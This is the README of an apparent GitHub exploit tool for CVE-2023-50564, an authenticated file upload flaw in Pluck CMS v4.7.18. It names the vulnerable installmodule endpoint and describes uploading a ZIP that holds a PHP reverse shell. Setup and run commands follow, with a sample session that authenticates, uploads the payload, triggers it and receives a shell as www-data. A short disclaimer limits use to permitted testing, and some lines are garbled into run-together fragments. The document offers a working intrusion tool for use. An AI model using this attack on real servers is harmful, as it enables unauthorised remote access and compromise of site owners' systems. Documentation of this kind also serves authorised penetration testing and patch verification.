mrterrestrial/cve-2023-50564
This script exploits the file upload feature in Pluck CMS v4.7.18 to upload a malicious PHP file, enabling remote access via a reverse shell. Once uploaded, this backdoor grants the attacker server access with web server permissions, allowing further actions within the system or network.
This script exploits an authenticated arbitrary file upload vulnerability in Pluck CMS v4.7.18 (CVE-2023-50564). By leveraging this vulnerability, an authenticated attacker can upload a malicious PHP file, enabling the execution of arbitrary code (in this case, a reverse shell).
The vulnerability exists in the /admin.php?action=installmodule endpoint, which allows an authenticated user to upload a ZIP file containing arbitrary files. By uploading a malicious PHP file, this exploit establishes a reverse shell back to the attacker.
pip install requestspip install requests-toolbeltThis script also requires a valid login for the Pluck CMS instance, including the target's URL and password.
su, sudo -l) and allows the user to provide input manually.git clone https://github.com/yourusername/Pluck-CMS-Exploit.git
cd Pluck-CMS-Exploit
pip install requests requests-toolbelt
Run the exploit using Python:
python3 exploit.py
Example:
$ python3 exploit.py
Enter the target URL (e.g., example.com): pluckcms.vulnerable.com
Enter the password for target authentication: password123
Enter your IP (for reverse shell): 10.10.14.5
Enter the port to listen on (for reverse shell): 4444
[*] Authenticating to the target...
[+] Authentication successful.
[*] Generating reverse shell PHP file...
[+] Reverse shell PHP file created successfully as 'shell.php'.
[*] Creating ZIP payload...
[+] ZIP file created as 'payload.zip'.
[*] Starting reverse shell listener on 10.10.14.5:4444 ...
[*] Uploading payload to the target...
[+] Payload uploaded successfully.
[*] Triggering reverse shell at: http://pluckcms.vulnerable.com/data/modules/payload/shell.php
[+] Connection received from ('10.10.10.1', 55678)
Shell> whoami
www-data
This script is intended for educational purposes and ethical hacking. It should only be used in environments where you have explicit permission to test. The author is not responsible for any misuse of this tool.
This project is licensed under the MIT License - see MIT License for details.
Feel free to fork the repository and submit pull requests. For any issues or feature requests, please open an issue on GitHub.